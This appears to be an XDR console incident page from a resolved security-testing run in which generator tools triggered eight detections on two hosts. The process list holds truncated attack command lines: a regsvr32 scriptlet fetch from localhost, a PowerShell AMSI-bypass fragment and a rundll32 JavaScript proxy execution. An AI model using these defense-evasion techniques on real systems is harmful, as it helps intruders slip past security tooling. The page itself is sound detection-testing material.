HIGH 'Regsvr32 may have run code from an untrusted source' along with 7 other issues

RESOLVED SECURITY TESTING ID: #228 | Created: 2026-01-03 05:39:54
XDR Console
8
Alerts
2
Hosts
19
Files
0
Network
Incident Overview

'Regsvr32 may have run code from an untrusted source' along with 7 other issues generated by XDR BIOC and XDR Agent detected on 2 hosts involving 3 users

8
2026-01-03 05:50
Unassigned
XDR BIOC, XDR Agent
Malware Lateral Movement Execution
Affected Hosts & Users
desktop-fnumv3u\user user dwshin
MITRE ATT&CK Mapping
TA0005 - Defense Evasion TA0002 - Execution
T1059 - Command and Scripting Interpreter T1216 - System Script Proxy Execution T1562.001 - Impair Defenses: Disable or Modify Tools T1140 - Deobfuscate/Decode Files or Information T1059.001 - Command and Scripting Interpreter: PowerShell T1218.010 - System Binary Proxy Execution: Regsvr32
File Artifacts 19
File Name Path SHA256 Signature Verdict Actions
MegaGenerator.exe - 8b13dc94b8bb83116e6a44d654858757b82ccd3c9de9aa378796cfe5760fb88c SIGNATURE_UNSIGNED UNKNOWN VT
cmd.exe - badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0 SIGNATURE_SIGNED UNKNOWN VT
regsvr32.exe - 022cb167a29a32dae848be91aef721c74f1975af151807dafcc5ed832db246b7 SIGNATURE_SIGNED UNKNOWN VT
powershell.exe - 9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3 SIGNATURE_SIGNED UNKNOWN VT
schtasks.exe - 2327e073dcf25ae03dc851ea0f3414980d3168fa959f42c5f77be1381ae6c41d SIGNATURE_SIGNED UNKNOWN VT
conhost.exe - b02ee54fb2ec69673386d41119ee8ed083a6eab3bfca6aa2155d20ce68ef8963 SIGNATURE_SIGNED UNKNOWN VT
nltest.exe - e88dd273eb0e4e43501bb69774fb43dd2bacc104ca2755ea4864ec26ba3afdef SIGNATURE_SIGNED UNKNOWN VT
rundll32.exe - 076592ca1957f8f357cc201f0015072c612f5770ad7de85f87f254253c754dd7 SIGNATURE_SIGNED UNKNOWN VT
calc.exe - 58189cbd4e6dc0c7d8e66b6a6f75652fc9f4afc7ce0eba7d67d8c3feb0d5381f SIGNATURE_SIGNED UNKNOWN VT
net1.exe - e62071aa18768dd88acaf97fa7b1f2fec9fcce89736c1ee9a800699328d196ea SIGNATURE_SIGNED UNKNOWN VT
regsvr32.exe - f379c637eb2250f0cdae05918035a37f3fdf89d6b2ad897da235c5f603fe2a1e SIGNATURE_SIGNED UNKNOWN VT
WMIC.exe - da603fa720ab43aa6d4d36aa9fdb828dab9645523eabaac209af6451d5b4d757 SIGNATURE_SIGNED UNKNOWN VT
UltimateXdrGenerator.exe - 82fabb35db24a714b179c912f8c0cb90ef174c8db9d6c5bbc59346da7478d82d SIGNATURE_UNSIGNED UNKNOWN VT
python.exe - 467014615a5255aca450ae88100dd2caf887da87657f00e3c2171ec44a685aec SIGNATURE_SIGNED UNKNOWN VT
vssadmin.exe - 8c1fabcc2196e4d096b7d155837c5f699ad7f55edbf84571e4f8e03500b7a8b0 SIGNATURE_SIGNED UNKNOWN VT
reg.exe - c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d SIGNATURE_SIGNED UNKNOWN VT
cmd.exe - 64afc6db3aad1289533662e2d79e27dd55c7dcdb8cd918b08e145ad82ad5acb4 SIGNATURE_SIGNED UNKNOWN VT
net.exe - 9f376759bcbcd705f726460fc4a7e2b07f310f52baa73caaaaa124fddbdf993e SIGNATURE_SIGNED UNKNOWN VT
HOSTNAME.EXE - a90c3fb350a11c6f6a6efa9607987d924d1de65e09ca9faf2e0e0e00531ee335 SIGNATURE_SIGNED UNKNOWN VT
Network Artifacts 0
No network artifacts found for this incident
Process Artifacts 8
Process Command Line Parent Process User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_ultimate_runner... cmd.exe User
cmd.exe C:\Windows\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://127.0.0.1/test.sct s... - dwshin
MegaGenerator.exe "C:\app\cortex-xdr-siem-test\xdr_tools\MegaGenerator\bin\publish\MegaGenerator.e... cmd.exe DESKTOP-FNUMV3U\User
cmd.exe C:\WINDOWS\system32\cmd.exe /c "powershell -c "[Ref].Assembly.GetType('System.Ma... cmd.exe DESKTOP-FNUMV3U\User
cmd.exe C:\WINDOWS\SYSTEM32\cmd.exe /c ""C:\app\cortex-xdr-siem-test\xdr_incident_runner... cmd.exe User
cmd.exe C:\WINDOWS\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://127.0.0.1/test.sct s... cmd.exe DESKTOP-FNUMV3U\User
cmd.exe C:\WINDOWS\system32\cmd.exe /c "regsvr32 /s /n /u /i:http://127.0.0.1/test.sct s... cmd.exe DESKTOP-FNUMV3U\User
cmd.exe C:\WINDOWS\system32\cmd.exe /c "rundll32 javascript:"\..\mshtml"" cmd.exe DESKTOP-FNUMV3U\User
Registry Artifacts 0
No registry artifacts found for this incident
Analyst Verdict
HIGH
  • Isolate affected endpoints
  • Investigate all related alerts
  • Document findings
Summary
8
Alerts
2
Hosts
19
Files
0
Network
Alert Categories
Malware Lateral Movement Execution
Timeline
01-03 05:50:04
Incident Modified
Status or details updated
01-03 05:50:04
Incident Resolved
resolved security testing
01-03 05:48:13
Protection Against Security Measures Bypass Techniques - 1940197314
high - Prevented (Blocked)
01-03 05:47:15
Suspicious Process Creation
medium - Prevented (Blocked)
01-03 05:41:00
WildFire Malware
medium - Prevented (Blocked)
01-03 05:39:54
Incident Created
#228 - 'Regsvr32 may have run code from an untrusted source' along with 7 other issues
01-03 05:39:54
MegaGenerator.exe
Verdict: Unknown
01-03 05:39:54
cmd.exe
Verdict: Unknown
01-03 05:39:54
regsvr32.exe
Verdict: Unknown
01-03 05:39:54
powershell.exe
Verdict: Unknown
01-03 05:39:54
schtasks.exe
Verdict: Unknown
01-03 05:39:54
conhost.exe
Verdict: Unknown
01-03 05:39:54
nltest.exe
Verdict: Unknown
01-03 05:39:54
rundll32.exe
Verdict: Unknown
01-03 05:39:54
calc.exe
Verdict: Unknown
01-03 05:39:54
net1.exe
Verdict: Unknown
01-03 05:39:53
AMSI Bypass
medium - Detected
01-03 05:39:52
Powershell Activity - 3083271452
high - Prevented (Blocked)
01-03 05:39:47
Regsvr32 may have run code from an untrusted source
high - Detected
01-03 05:39:46
Suspicious Process Creation
medium - Prevented (Blocked)
01-03 05:39:43
Rundll32.exe was used to run JavaScript
medium - Detected